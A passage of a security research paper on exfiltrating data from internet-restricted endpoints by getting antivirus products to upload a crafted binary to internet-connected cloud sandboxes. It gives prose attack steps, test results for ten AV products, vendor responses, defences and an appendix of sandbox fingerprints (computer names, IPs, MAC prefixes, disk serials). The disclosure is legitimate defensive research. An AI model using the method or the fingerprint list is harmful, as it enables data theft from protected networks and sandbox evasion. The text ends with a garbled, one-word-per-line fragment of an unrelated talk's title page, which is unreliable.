addition, NAT/PAT devices may alter the source port and source IP address and thus eliminates this channel. Moreover,
TCP/UDP-aware gateways/firewalls may terminate a TCP connection and establish their own, thus again eliminating this
channel.
Another approach is demonstrated in “In Plain Sight: The Perfect Exfiltration” by Amit Klein and Itzik Kotler. There, the
authors describe exfiltration based on subtle manipulations of the application state in a 3rd party site. This approach does
not work well with the hosts to which an endpoint is allowed to connect (e.g. software update hosts), since these hosts
don’t need a caching layer in front of them, and their application is not rich in states that can be easily manipulated.
Triggering av products
In “Art of Anti Detection 1 – Introduction to AV & Detection Techniques” , Ege Balci provides an extensive list of triggering
behaviors for av products. Our technique uses such triggers (we experimented with 2 triggers but the technique can make
use practically of each and every trigger listed) – our innovation is not in coming up with ways to trigger AV products, but
rather abuses the actions some AV products take once the trigger is fired
Research on sandboxes
In “AVLeak: Fingerprinting Antivirus Emulators Through Black-Box Testing”, Jeremy Blackthorne, Alexei Bulazel, Andrew
Fasano, Patrick Biernat and Bülent Yener describe a way to fingerprint an AV emulation sandbox as a black-box. They do
not describe a way to exfiltrate data from an endpoint machine.
In Google’s Project Zero entry “Comodo: Comodo Antivirus Forwards Emulated API calls to the Real API during scans” , Tavis
Ormandy describes bugs in Comodo Antivirus which allow an attacker to run code in elevated privileges, and to exfiltrate data
out of the endpoint. However, the underlying assumption there is that the endpoint is allowed to connect to arbitrary Internet
hosts. Our concern is with scenarios where such connections are not allowed, usually via an organization firewall (i.e. a gateway
separate from the endpoints).
5
In “Your sandbox is blinded: Impact of decoy injection to public malware analysis systems” , Katsunari Yoshioka, Yoshihiko
Hosobuchi, Tatsunori Orii and Tsutomu Matsumoto describe a technique to fingerprint a public-facing sandbox. Like
AVLeak, they do not concern themselves with exfiltrating data from a regular (endpoint) machine.
In “Enter Sandbox – part 8: All those… host names… will be lost, in time, like tears… in… rain” Hexacorn Ltd. provides a
list of 800+ computer names allegedly used in sandboxes, thus creating a de-facto fingerprinting database for sandboxes.
In “Sandbox detection: leak, abuse, test”, Zoltan Balazs describes how to extract sandbox fingerprints (e.g. screen
resolution, computer name, software installed, CPU type and count, memory size, mouse movements, etc.)
In “Art of Anti Detection 1 – Introduction to AV & Detection Techniques”, Ege Balci provides heuristics for sandbox
detection.
Our research studies exfiltration through AV sandboxes of data obtained from an endpoint. Fingerprinting the sandboxes
themselves wasn’t our main object, though we did observe several properties of AV sandboxes, and we share these in the
paper.
6
BACKGROUND
We are interested in two network architectures that can be found in highly secure organizations:
Indirect Internet Access
The corporate has cloud-based AV agents deployed on all endpoints. The corporate has a central AV management server
(distributing updates and collecting samples and events) which is allowed to connect to the AV’s cloud service. All other
machines (endpoints) are prohibited from accessing the Internet. The access control can be enforced by a firewall/gateway
between the corporate’s LAN and the Internet. This firewall/gateway has a rule that prevents all machines except the AV
management server from accessing the Internet. It is assumed that spoofing TCP (or IP) traffic is impossible – e.g. the AV
management server is located in a different segment and the firewall/gateway employs strict ingress filtering.
In this architecture, the endpoints do not have any direct Internet access. Therefore, regular network-based exfiltration
methods are ineffective here. However, software on the endpoint can influence the AV management server (for example,
through the agent) and cause it to communicate with the AV cloud hosts. We will use this observation to construct an
exfiltration technique.
Limited Direct Internet Access
The corporate has cloud-based AV agents deployed on all endpoints. All endpoints are prohibited from accessing the
Internet, except for a closed set of hosts necessary for the functioning of the legitimately installed software on the
endpoints (e.g. the AV cloud hosts, Microsoft’s update servers, etc.). The access control can be enforced by a firewall/
gateway between the corporate’s LAN and the Internet. This firewall/gateway has a rule that prevents all machines from
accessing the Internet, except to a closed set of hosts.
In this architecture, the endpoints have very limited access to the Internet. Theoretically, one can exfiltrate data by sending
packets to one of the allowed Internet hosts (e.g. to a Microsoft update server), but this requires the attacker to also be
able to eavesdrop on the communication between the organization and the (Microsoft update) server. This is not feasible
for a non-state sponsored attacker, and thus it is out of scope of this paper. Alternatively, an endpoint can send IP packets
to one of the whitelisted hosts, thereby theoretically enabling the various "exfiltration via 3rd party sites" techniques
discussed above, but as we wrote there, none of these methods is effective nowadays for highly secure enterprises (with
egress filtering) and with the whitelisted Internet hosts.
Triggering an AV agent
AV products typically employ numerous behavioral rules that attempt to detect suspicious/malicious processes. Examples
for behavioral rules are:
•
Writing to disk an image (file) which is known to be malicious (known malware/virus)
•
Setting an auto-start entry (persistence)
•
Injecting code into other processes
7
• Unpacking code in memory
• Connecting to known malicious hosts (known C&C)
• Making system level modifications (e.g. replacing system files/libraries, adding/changing entries in the hosts file,
modifying the DNS settings)
• Making changes to the browsers, e.g. installing plugins, modifying the proxy settings, etc.
This is, of course, just a small subset of all possible triggers.
Once a process activity triggers the AV product, the image file of the process is marked as suspicious/malicious (and,
depending on the AV product, may be sent to the cloud for further inspection.)
Cloud AV sandboxing
We are going to abuse the cloud AV sandboxing feature that many AV vendors use. The rationale for this feature is that
it enables the AV vendor to offer lightweight agent software, and carry out the heavy-lifting security analysis work in
the cloud. Specifically, in such an architecture, the AV agent needs to conduct only basic security checks against other
processes and files, allowing for a grey area where a binary “malicious/non-malicious” decision cannot be determined
locally. A process/file falling into this grey area is sent to the cloud for further analysis, and a security decision is
obtained from the cloud (sometimes in near real time).
A sample that arrives at an AV cloud sandbox is typically executed there and its behavior is observed. The sandbox is
not a sensitive environment, therefore a malicious executable can be run there with no harm to real users or resources.
Based on the observed behavior, the AV vendor can arrive at a more educated decision about the nature of the sample
(i.e. whether it is malicious or not).
An AV cloud sandbox may be isolated from the Internet, or connected to it. There’s a good argument in favor of a
connected sandbox, as it allows the sample to run in a more “natural” environment. For example, an unknown file (which
is in fact a new malware dropper) can connect to its C&C server, download a secondary malware (such as the well-
known Zeus malware) and run it. The AV logic can then inspect the Zeus file and classify it is a known malware file, and
thus determine that the original sample is actually a malware dropper, hence it is malicious in itself. All this is impossible
when the AV cloud sandbox is isolated from the Internet.
Exfiltration methods from an Internet-connected machine
There are numerous ways to exfiltrate data from an Internet-connected machine, as mentioned in the “related work”
section. If stealth requirements are alleviated (e.g. when a one-time attempt is made), then exfiltration can be as simple
as connecting to an Internet host (owned/accessible by the attacker), e.g.:
•
Sending HTTP/HTTPS request to the attacker’s host
•
Forcing DNS resolution (for hostnames in a domain owned by the attacker, and where the attacker also controls the
authoritative name server for the domain)
•
Sending email to an attacker mailbox (SMTP)
•
Sending an IRC message
•
Pinging (ICMP Echo) an attacker host
•
Submitting (via HTTP/HTTPS) a comment in a popular web forum
8
This is, of course, merely a very small subset of all the possible ways to transmit data out of the machine.
EXFILTRATION THROUGH AV CLOUD SANDBOXES
We present a novel method of exfiltrating data from endpoints which are not directly connected to the Internet, or
whose connection to the Internet is limited to only those hosts needed for the functionality of its legitimately installed
software. Our technique requires the following:
•
An AV product (agent) installed on endpoints, which submits to the AV cloud unknown/suspicious executable files:
- Directly, via an Internet connection from the endpoint to the AV cloud; or
- Indirectly, by sending the sample to an enterprise AV management server and having the latter submit the
sample via a direct Internet connection to the AV cloud (in real time or in offline/batch mode), or manually via
copying files (though a physical medium e.g. a USB stick) from the enterprise AV management server to an
Internet-facing machine and submitting the files from there.
•
The AV cloud service employs a sandbox which can directly connect to the Internet.
•
The attacker’s process (malware) is running on the endpoint.
Our technique can exfiltrate data in this scenario even when the endpoint has a very limited Internet connection (e.g.
one which is not used by the user – such as limiting the connection to software update servers), and even when no
direct connection is allowed at all.
Details of the technique
The attacker process (called “Rocket”) contains a secondary executable (called “Satellite”) as part of its data. The Satellite
can be encrypted/compressed to hide the fact that it is another executable, thus the Satellite can be no more than a piece
of data in the Rocket memory space (and file) that does not jeopardize the Rocket.
The Satellite contains a placeholder for arbitrary data (“payload”) to be exfiltrated. The location of the placeholder should
be known to the Rocket, e.g. as an offset+length, or as magic-start/end markers, within the data of the embedded Satellite.
The attack proceeds as follows:
1. The Rocket collects the data (payload) it needs to exfiltrate.
2. The Rocket decrypts/decompresses the Satellite into its useful image in memory, and embeds the payload in a
designated area in the Satellite image. The payload can be compressed/encrypted to further ensure that it is not
suspicious by itself. The Rocket then writes the Satellite image to disk, as a file (henceforth, the "Satellite file").
3. The Rocket spawns the Satellite (from its file) as a child process.
4. The Satellite performs an intentionally suspicious action, such as persisting itself, or writing a known malware file to disk.
5. The endpoint AV product detects the suspicious action of the Satellite, possibly quarantines it, and sends its image
file to the AV cloud. Note that the Satellite file contains the payload.
6. The cloud AV executes the Satellite file in an Internet-connected sandbox.
7. The Satellite process can now try any of the Internet-based exfiltration methods to exfiltrate the (encrypted/
compressed) payload to the attacker, e.g. by sending it in an HTTP/HTTPS POST request to an attacker host, or by
breaking it into small pieces, hex-encoding it and using it as a DNS subdomain for DNS resolution requests whose
domain is owned by the attacker.
9
Note that this attack is “noisy” in the sense that the AV product will flag the Satellite file as suspicious and as such this
may have visible impact on the user (see Figures 1-2 below), as well as visibility in logs and records. However, for a one
time exfiltration attack this will already be too late, as the payload will already be traveling to the cloud by the time this
incident is investigated by flesh-and-blood analysts.
RESULTS WITH LEADING AV PRODUCTS
In February-March 2017, we ran tests against multiple AV products. We provide details of the tests and results in this
section.
Test setup
We built Rocket-Satellite combinations as explained above. The code was written in C/C++ and compiled in Microsoft VC
2015 – Rocket was compiled for an x86 target, and Satellite – mostly for an x64 target, but sometimes for an x86 target
(this was a random choice, we don’t place too much weight on the target architecture). For simplicity, the Satellite and the
payload were not encrypted or compressed. The payload area was marked with “magic-start” and “magic-end” markers.
For best results, The Rocket executable file should be placed in in one of the regular folders, such as the “Desktop” folder
(but not in the “Downloads” folder which is probably subject to different AV policies).
Rocket collects data from the machine (in out proof of concept – the machine name, and additionally some hard-wired
short string that we used to identify the exact test we ran), prepares the Satellite per above, writes the Satellite to the
current working directory and runs it. It should be noted that the due to the way they are created (with experiment-specific
strings), each Satellite file was unique, i.e. had a unique MD5/SHA1/SHA2 hash signature.
For triggers (Satellite actions), we chose two very simple triggers (each was tested on its own):
1. Writing the EICAR file to disk. The EICAR file is a de-facto standard file that deliberately triggers AV products .
This is done by opening a file named “daemon.com” in the current working directory, and writing the 68 bytes of the
EICAR data to this file using the C runtime library function fwrite().
2. Moving the Satellite image file to the user’s startup folder (%USERPROFILE%\AppData\Roaming\Microsoft\
Windows\Start Menu\Programs\Startup) as “foo.exe”, overriding any existing “foo.exe” file. This is done using the
DeleteFile() and MoveFile() WinAPI calls.
For exfiltration, we chose two methods, both are attempted in the same Satellite run:
1. DNS-based exfiltration. The Satellite encodes the payload (using hex-encoding), then breaks it into chunks that fit
into DNS labels, and exfiltrates each chunk as a subdomain in a host-resolution query for a domain owned by the
attacker (so eventually the query arrives at the authoritative DNS server run by the attacker). The resolution request is
carried out via invoking the Windows Socket library function getaddrinfo() or gethostbyname().
2. HTTP-based exfiltration. The Satellite sends the payload as-is to the attacker's Internet host in an HTTP POST
request body. This is done using WinINet’s HttpOpenRequest() and HttpSendRequest().
Free open source code for the above implementation is available in the GitHub repository at https://github.com
/safebreach-labs/spacebin
10
Test results
We checked 10 products out of the top 11 anti-virus products from the vendor list in OPSWAT’s “Antivirus and
Compromised Device Report: January 2015”. This is their last report on pure Anti-Virus vendors. We could not test
SpyBot due to research time constraints.
The following table summarizes our results. Note that for products that are marked “-“, it only means that we could
not exfiltrate the payload via the combination of the two simple triggers we used, and the two naïve exfiltration
techniques we implemented. It does not mean that other combinations cannot potentially succeed for these products.
Product
Version
Trigger
Exfiltration Method
Success
Avast Free
Antivirus
12.3.2280
-
Microsoft
Windows
Defender
Client v. 4.10.14393.0
Engine v. 1.1.13407.0
-
AVG
Build 1.151.2.59606
Framework v.
1.162.2.59876
-
Avira Antivirus
Pro
15.0.25.172
Persistence
DNS, HTTP
Yes
Symantec
Norton Security
22.8.1.14
-
McAfee Cloud
AV
0.5.235.1
-
ESET NOD32
Antivirus
10.0.390.0
EICAR
DNS
Yes
Kaspesrky Total
Security 2017
17.0.0.611(c)
Persistence
DNS, HTTP
Yes
Comodo Client
Security
8.3.0.5216
Persistence
DNS, HTTP
Yes
BitDefender
Total Security
2017
Build 21.0.23.1101
Engine v. 7.69800
-
11
As can be seen, 4 major Anti-Virus products (Avira, ESET, Kaspersky and Comodo) out of 10 were positively shown
to facilitate exfiltration of data from “isolated” endpoints.
Insights on AV sandboxes
We encountered 44 different sandbox instances from 22 templates. In general, they belong to 10 classes, based on their
computer name:
namePC (1 template, 13 instances: REYNAPC, MALVAPC, ELEANOREPC, WRIGHTPC, BRIAPC, JORIPC, GABBIPC,
HELSAPC, MAMEPC, SHARAIPC, ARACHONPC, FLORIANPC, EDITHPC) – In this class/template, the computer
name comprises of a person's first name followed by “PC”. This class is operated by ESET (its DNS queries come from
an IP owned by ESET). All machines encountered share some basic properties such as disk volume (e0b2a963),
performance counter frequency (100MHz) and MAC address prefix (00:1B:21:13:37:xx – the last byte varies). HTTP
traffic to the Internet is blocked, but DNS is enabled.
something-PC (11 templates, 15 instances: WIN7-PC, ROGER-PC, DAVID-PC, ADMIN-PC, APIARY7-PC, ANTONY
PC, LUSER-PC, PERRY-PC, KLONE_X64-PC, 0M9P60J5W-PC, MIKI-PC) – each template in this class is different
(different CPU, different clock speed, different MAC address, different disk volume number).
The template 0M9P60J5W-PC had 5 instances (different computer/user/domain names but all exhibit the same
properties). All templates use IPs in consumer ISPs to connect to the Internet. Usually the username is identical to the
computer name, but for ROGER-PC we also encountered cases wherein the username was a seemingly random string of
alphanumeric characters. This class is operated by Comodo and/or Kaspersky and/or Avira.
C-TT (2 templates: C02TT with 4 instances: C02TT22, C02TT26, C02TT36 and C02TT18; C06TT – one instance,
C06TT43) – this class is used by Avira.
ZGXTIQTG8837952 (1 template, 4 instances) – this class is used by Comodo. In one case, we encountered it behind
TOR.
Figure 1 - ESET NOD32 Antivirus
notification (writing EICAR file to disk)
Figure 2 - Kaspersky Total Security 2017
notification (persistence in the Startup folder)
12
spurtive (2 templates – "spurtive" and "circumstellar", one instance each) – used by Comodo.
5 one-template, one instance classes (ABC-WIN7, PC, WIN-U9ELNVPPAD0, PC-4A095E27CB, WIN-LRG949QLD21
Not much information is available since each was encountered only once or twice.
It appears that not a lot of effort is made to hide the identity of the sandboxes from the processes running on them.
Most of the time, the names are fixed, and even if not, the disk volume serial number is not changed. In some cases, the
MAC address clearly indicates a virtualized environment (VMware). The Performance Counter is also an indicator for
virtualization in some cases (see http://www.securitygalore.com/site3/wpc-frequency-vm-os-matrix for details of this
technique).
It is also noteworthy that several sandbox templates (e.g. “ROGER-PC”) are shared (or OEMed) between several players.
This is clear in the case of “ROGER-PC” (Comodo, Kaspersky and Avira), but can be deduced in the case of “BRIA-PC”
and “JORI-PC” – both were only observed being used by Comodo, but their DNS traffic is coming from an IP owned by
ESET. This may indicate for example, that Comodo uses third party AV engines/services to help evaluate unknown files.
The full details of the sandboxes we encountered are provided in the appendix.
Additional observations:
•
Reaction time (time between sample upload and exfiltration) of sandbox execution varies from minutes to hours.
•
In some cases (ROGER-PC, ANTONY-PC) we noticed that sometimes the sandbox prevented the investigated process
from accessing the environment variables.
•
It appears that additional sandbox executions sometime took place days and even weeks after the sample was
submitted. We suspect these were related to either batch processing/re-evaluation, or due to analysts manually
investigating the samples.
•
In some cases, we noticed that the sandbox ran the Satellite before the data was “burned” into it by the Rocket. Our
theory is that the AV product statically scanned the Rocket file/process, discovered the embedded executable
(Satellite), extracted it as-is and executed it.
ON-PREMISE AV SANDBOXES
Some AV vendors offer an alternative to cloud AV sandbox in the form of an on-premise sandbox, in which the suspicious
executable can be run safely. In this configuration, the attack may still be carried out, provided that:
•
The sandbox allows outbound (Internet) traffic of some sort; and
•
The enterprise network configuration allows outbound (Internet) traffic from the sandbox of at least one of the
protocols/traffic types allowed by the sandbox
We did not experiment with on-premise AV sandboxes. Even if we could find AV on-premise sandboxes that allow
outbound traffic, the impact would be determined on a customer-by-customer basis as it depends on the enterprise
network configuration as it applies to the sandbox.
Nevertheless, enterprises should be aware of this attack variant.
13
CLOUD-BASED ANALYSIS SERVICES
There are several online services that offer analysis of binaries – either by subjecting them to multiple AV products, or by
running proprietary malware analysis logic. Assuming the attacker knows that such services are used (manually, or as a
backend to other security products/services) in the attacked enterprise, the attacker can use the same technique described
above to spawn a binary with embedded enterprise data to be run in the cloud by the online service and exfiltrate the
enterprise data. In this case, while the online service facilitates the attack, it is not a vulnerability in the online service since
there’s no expectation from the service to prevent exfiltration.
Google VirusTotal (https://www.virustotal.com/) was tested with a vanilla (non-triggering) Satellite and with the two
triggering Satellites, just to observe if any of its sandboxes are connected to the Internet. Indeed, we got back sandbox
fingerprints from sandbox templates ROGER-PC (DNS and HTTP), ANTONY-PC (DNS and HTTP), VVHMQ-PC (DNS, HTTP)
,ABC-WIN7 (DNS, HTTP), PC (DNS, HTTP), ADMIN-PC (DNS, HTTP), PERRY-PC (DNS, HTTP), PC 4A095E27CB (DNS,
HTTP), LUSER-PC (DNS, HTTP), APIARY7-PC (DNS, HTTP), MIKI-PC (DNS, HTTP) and MAMEPC (DNS). This is possibly due
to VirusTotal’s scanning with Avira and/or ESET and/or Comodo and/or Kaspersky, and/or by having triggered another cloud
based product which we either didn’t test, or failed to trigger.
Joe Security’s Joe Sandbox Cloud - File Analyzer (https://www.file-analyzer.net/) was tested with a vanilla Satellite and
was observed to leak via a single sandbox (DNS only, limited to 10 DNS queries). The File Analyzer sandbox we encountered
has the environment variable "COMPUTERNAME" set to "226533".
Payload Security’s Hybrid Analysis (https://www.reverse.it/) was tested with a vanilla Satellite and was observed to leak
via a single sandbox (HTTP and DNS). The Hybrid Analysis sandbox name we encountered is 7YTRfV35L8.
We conclude that when online scanning services VirusTotal, Hybrid Analysis and Joe Sandbox Cloud (and perhaps others)
are used to evaluate a binary (either manually or via a 3rd party product using these services as part of its backend),
exfiltration becomes possible.
VENDOR STATUS
Cloud AV sandboxes
•
Avira – fixed on May 2nd (10h30m!).
•
ESET – fixed on May 15th or before.
•
Comodo – fixed on May 26th .
•
Kaspersky - provided to us on July 14th with the following statement: "If customers are concerned about this scenario,
they may configure their device and security settings accordingly. Those using our consumer products can disable files
sent to the cloud sandbox without affecting detection effectiveness. Those using corporate products can install Kaspersky
Private Security Network, the on-premises version of the Kaspersky Security Network cloud service, or a private fix to
disable files sent to the cloud sandbox."
Cloud-based analysis services
•
VirusTotal – informed us on June 16th that they WONTFIX, and provided the following statement: "We have our
sandboxes on the internet on purpose to allow them communicate with C2 machines so we record the traffic".
•
Joe Security – fixed on June 19th (3d11h!) and provided the following credit acknowledgement: "Improved ISIM max UDP
request config (@credits to Amit & Itzik from Safebreach)".
•
Payload Security - informed us on June 23rd that "Payload Security chooses not to comment".
14
IMPROVING AV CLOUD SANDBOXES
Clearly, one way to prevent this attack is to block AV sandboxes from accessing the Internet. Indeed, some cloud AVs
probably do exactly that.
Of course, this may be too strict in many cases, because it would be interesting to observe the Internet traffic of a
sample. Therefore, we can tune the defense technique a bit. We can only apply Internet blocking for samples not coming
from the Internet (i.e. binaries which are created on the machine, or which are obtained from another machine in the
enterprise). The reasoning is this – a sample which is obtained from the Internet (e.g. downloaded from a website) does
not carry any enterprise endpoint-specific payload, and as such, won’t be able to exfiltrate anything useful from the
endpoint when run in an Internet-connected sandbox.
The same applies for on-premise AV sandboxes.
FUTURE RESEARCH
The technique we developed has a lot of untapped potential. We speculate that there are many additional “supportive”
AV products which we have not marked as such due to the simplicity of our tests. Therefore, there are several options
for future research, such as:
•
Test additional triggers – e.g. packing the Satellite code with a known packer, connecting to malware C&C, etc.
•
Test additional exfiltration techniques – e.g. ping (ICMP), HTTPS, SMTP, IRC, connection to popular sites, etc.
•
Improve the stealth of the Rocket-Satellite combination by compressing/encrypting the Satellite image inside
the Rocket.
•
A more robust alternative to AV triggering is to reverse engineer the protocol between the AV agent on the
endpoint and the AV cloud or the AV management server, and have the Rocket submit the sample (Satellite)
directly, without triggering any AV behavioral rule (and without visual cues to the user, and log artifacts).
CONCLUSIONS
We have demonstrated that cloud-based AV sandbox execution can be used to exfiltrate data from endpoint machines
by “burning” the data into the binary to be scanned in the cloud. In this way, even high security enterprises which
prevent their endpoints from directly accessing the Internet, or severely restricting Internet access to endpoints, can still
have their data exfiltrated. We demonstrated this technique successfully with the latest versions of Avira Antivirus Pro,
ESET NOD32 Antivirus, Kaspersky Total Security 2017 and Comodo Client Security. As part of this research we also
made some observations on the sandboxes used by these vendors, and commented on the ease of their detection.
We can generalize our findings and state that sharing an executable (suspicious/malicious sample) from the organization,
with the outside world in some manner (e.g. submitting the sample to a cloud analysis service or allowing such file
submission) can result in data exfiltration, unless there is confidence that the sample has arrived from outside the
organization and the file has not changed since its arrival.
ACKNOWLEDGEMENTS
We would like to thank Yoni Fridburg for his help in setting up the AV research lab.
15
APPENDIX – FINGERPRINTS OF ENCOUNTERED SANDBOXES
Computer name
C02TT36/C02TT22/C02TT26/C02TT18
Class
C-TT (template C02TT)
Used by
Avira
IP
79.207.224.213 (Deutsche Telekom, Germany) /
87.162.248.42 (Deutsche Telekom, Germany)
Performance Counter Frequency
2825742
CPU
Intel64 Family 6 Model 45 Stepping 7, GenuineIntel
Domain
C02TT36/C02TT22/C02TT26/C02TT18
Username
Administrator
MAC
Random
Disk Volume Number
a0e1740e
Additional Software
Python TCL/TK
Computer name
C06TT43
Class
C-TT (template C06TT)
Used by
Avira
IP
87.162.248.42 (Deutsche Telekom, Germany)
Performance Counter Frequency
10000000 (probably virtualized)
CPU
Intel64 Family 6 Model 26 Stepping 5, GenuineIntel
Domain
C06TT43
Username
Administrator
MAC
Random
Disk Volume Number
08266a95
Additional Software
Python TCL/TK
Computer name
WIN7-PC
Class
Something-PC
Used by
Comodo
IP
192.241.99.0/24 (B2 Net, USA)
Performance Counter Frequency
1955556
CPU
Intel64 Family 6 Model 86 Stepping 2, GenuineIntel
Domain
win7-PC
Username
win7
MAC
08:00:27:60:0B:FB (Cadmus) / 08:00:27:63:DC:9F
(Cadmus), 08:00:27:2D:9B:64 (Cadmus)
Disk Volume Number
c8e74c10
Additional Software
Python
16
Computer name
ROGER-PC
Class
Something-PC
Used by
Comodo, Kaspersky, Avira
IP
95.25.4.0/24 (Beeline, Russia)
Performance Counter Frequency
2734726
CPU
Intel64 Family 6 Model 15 Stepping 11,
GenuineIntel
Domain
Roger-PC
Username
Roger
MAC
00:07:E9:E4:CE:4D (Intel)
Disk Volume Number
88fdb972
Additional Software
Java
Computer name
0M9P60J5W-PC (and computer names derived from
“nDfFAdDKCg4D”, “wdqqwmpPw3rg”, “vvhMq”,
“DfCMD”) (differs from ROGER-PC only by perf. freq.
counter and username, domain and computer name)
Class
Something-PC
Used by
?
IP
95.25.4.0/24 (Beeline, Russia)
Performance Counter Frequency
2543427
CPU
Intel64 Family 6 Model 15 Stepping 11,
GenuineIntel
Domain
0M9P60J5W-PC (same as computer name)
Username
0M9P60J5W (computer name without “-PC”)
MAC
00:07:E9:E4:CE:4D (Intel)
Disk Volume Number
88fdb972
Additional Software
Java
Computer name
PERRY-PC
Class
Something-PC
Used by
?
IP
23.253.228.196 (Rackspace, USA)
Performance Counter Frequency
10000000 (probably virtualized)
CPU
Intel64 Family 6 Model 63 Stepping 2, GenuineIntel
Domain
Perry-PC
Username
Perry
MAC
08:00:27:76:47:D9 (Cadmus) / 08:00:27:43:D3:7A
(Cadmus)
Disk Volume Number
44cb6efe
Additional Software
None?
17
Computer name
DAVID-PC
Class
Something-PC
Used by
Comodo, Avira
IP
66.129.102.52 (Cythereon, USA)
Performance Counter Frequency
14318180
CPU
Intel64 Family 6 Model 45 Stepping 2, GenuineIntel
Domain
David-PC
Username
David
MAC
00:50:56:88:00:BF (VMware) / 00:50:56:88:6C:C2
(VMware)
Disk Volume Number
24b8ccbd
Additional Software
QuickTime
Computer name
ADMIN-PC
Class
Something-PC
Used by
Comodo
IP
193.69.196.112 (Moss Ventelo, Norway), others
Performance Counter Frequency
2724345 / 2683330 / 2719648
CPU
Intel64 Family 6 Model 62 Stepping 4, GenuineIntel
Domain
Admin-PC
Username
Admin
MAC
08:00:27:E5:DF:53 (Cadmus)/ 08:00:27:9D:E7:3A
(Cadmus)
Disk Volume Number
0ce74e66
Additional Software
None?
Computer name
APIARY7-PC
Class
Something-PC
Used by
?
IP
130.207.203.2 (GAtech, USA), 165.254.103.0/24
(NTT America, USA)
Performance Counter Frequency
100000000
CPU
Intel64 Family 6 Model 15 Stepping 11,
GenuineIntel
Domain
Apiary7-PC
Username
Apiary7
MAC
00:4F:49:22:33:* (unknown vendor)
Disk Volume Number
001fea32
Additional Software
None?
18
Computer name
ANTONY-PC
Class
Something-PC
Used by
Kaspersky
IP
95.25.4.0/24 (Beeline, Russia)
Performance Counter Frequency
100000000
CPU
Intel64 Family 6 Model 15 Stepping 11,
GenuineIntel
Domain
Antony-PC
Username
Antony
MAC
00:FF:F2:F8:30:* (unknown vendor)
Disk Volume Number
c0982f3b
Additional Software
Perl, Python
Computer name
LUSER-PC
Class
Something-PC
Used by
Avira
IP
188.99.236.30 (Vodafone, Germany), 88.71.118.98
(Vodafone, Germany), 88.73.120.59 (Arcor,
Germany)
Performance Counter Frequency
1757871
CPU
Intel64 Family 6 Model 28 Stepping 10,
GenuineIntel
Domain
luser-PC
Username
luser
MAC
00:25:90:36:66:* (Super Micro), 00:25:90:65:3B:*
(Super Micro)
Disk Volume Number
f210a4e5
Additional Software
Strawberry Perl
Computer name
MIKI-PC
Class
Something-PC
Used by
?
IP
180.43.21.173 (NTT, Japan)
Performance Counter Frequency
14318180 (probably virtualized)
CPU
Intel64 Family 6 Model 60 Stepping 3, GenuineIntel
Domain
miki-PC
Username
miki
MAC
00:AA:00:BB:A9:12 (Intel)
Disk Volume Number
6232faa4
Additional Software
Python
19
Computer name
KLONE_X64-PC
Class
Something-PC
Used by
Comodo
IP
103.208.85.0/24 (OneProvider, Singapore)
Performance Counter Frequency
14318180
CPU
Intel64 Family 6 Model 45 Stepping 7, GenuineIntel
Domain
Klone_x64-PC
Username
admin
MAC
00:50:56:A1:*:* (VMware)
Disk Volume Number
a8727cfb
Additional Software
(note: defines environment variables MD5,
SAMPLEALTPATH, SAMPLEPATH)
Computer name
REYNAPC/MALVAPC/ELEANOREPC/WRIGHTPC/BRIAPC/
JORIPC/GABBIPC/HELSAPC/SHARAIPC/MAMEPC/
ARCHONPC/FLORIANPC/EDITHEPC
Class
namePC
Used by
ESET, Comodo
IP
38.90.226.226, 91.228.165.165, 91.228.167.167
(ESET, Slovakia)
Performance Counter Frequency
100000000
CPU
Intel64 Family 6 Model 2 Stepping 3, GenuineIntel
Domain
namePC
Username
Administrator
MAC
00:1B:21:13:37:* (Intel)
Disk Volume Number
e0b2a963
Additional Software
None?
Computer name
Spurtive/circumstellar
Class
spurtive
Used by
Comodo
IP
71.138.0.0/16 (AT&T, USA)
Performance Counter Frequency
3579545
CPU
Intel64 Family 6 Model 47 Stepping 2, GenuineIntel
Domain
w7sb64-01
Username
me
MAC
00:50:56:AA:5F:8A (VMware), 00:0C:29:B1:BC:6B
(VMware)
Disk Volume Number
3c2ef4f4/43a26e26
Additional Software
None?
20
Computer name
ABC-WIN7
Class
ABC-WIN7
Used by
?
IP
207.102.138.40 (Telus, Canada)
Performance Counter Frequency
2127275/2148691
CPU
Intel64 Family 6 Model 45 Stepping 7, GenuineIntel
Domain
ABC-WIN7
Username
abc
MAC
08:00:27:*:*:* (Cadmus)
Disk Volume Number
18ea1f18
Additional Software
Python (also has environment variable PWD)
Computer name
PC
Class
PC
Used by
?
IP
8.40.242.11 (Horizon, USA)
Performance Counter Frequency
100000000
CPU
AMD64 Family 15 Model 6 Stepping 1,
AuthenticAMD
Domain
PC
Username
Administrator
MAC
00:50:89:6F:40:BC (Safety Management Systems)
Disk Volume Number
98b68e3c
Additional Software
None?
Computer name
WIN-LRG949QLD21
Class
WIN-LRG949QLD21
Used by
?
IP
95.25.4.233 (Beeline, RU)
Performance Counter Frequency
3320312
CPU
Intel64 Family 6 Model 58 Stepping 9, GenuineIntel
Domain
WIN-LRG949QLD21
Username
[REDACTED]
MAC
00:0C:29:84:A9:47 (VMware)
Disk Volume Number
16074753
Additional Software
None?
21
Computer name
WIN-U9ELNVPPAD0
Class
WIN-U9ELNVPPAD0
Used by
Avira
IP
87.162.248.42 (Deutsche Telekom, Germany)
Performance Counter Frequency
14318180
CPU
x86 Family 6 Model 26 Stepping 5, GenuineIntel
Domain
WIN-U9ELNVPPAD0
Username
User
MAC
00:0C:29:D1:79:F5 (VMware)
Disk Volume Number
aeb34453
Additional Software
None?
Computer name
PC-4A095E27CB
Class
PC-4A095E27CB
Used by
Comodo
IP
72.12.209.146 (WinTek, USA)
Performance Counter Frequency
2272519/2243720
CPU
Intel64 Family 6 Model 15 Stepping 11,
GenuineIntel
Domain
PC-4A095E27CB
Username
STRAZNJICA.GRUBUTT
MAC
00:11:2F:8F:A0:* (ASUSTek)
Disk Volume Number
fc05c743
Additional Software
None?
Computer name
PC-4A095E27CB
Class
ZGXTIQTG8837952
Used by
Comodo
IP
62.102.148.67 (TOR exit node), 167.114.230.104
(RunAbove, France), 108.175.11.230 (1&1, USA)
Performance Counter Frequency
1957382
CPU
Intel64 Family 6 Model 60 Stepping 3, GenuineIntel
Domain
FS02
Username
BLtJc5wjxpj53/8oymz9F1vH9bS/LPRbZ32WM6jf3
MAC
02:00:4C:4F:4F:50 (unknown vendor), 60:02:92:*:*:*
(Pegatron)
Disk Volume Number
f0ecfa4a
Additional Software
None? Environment variables: tHH, tMM, tSS,
tmpH, tmpM, tmpS, tnow, tnext | pdf |
Hardw
are
bac
kdo
oring
is
practical
Jonathan
Brossard
-
[email protected]
Securit
y
Researc
h
Engineer
&
CEO,
T
oucan
System,
F
rance
and
Australia
Blac
khat
Briengs
and
Defcon
conferences,
Las
V
egas,
2012
T
o
cr
e
ate
is
to
r
esist,
to
r
esist
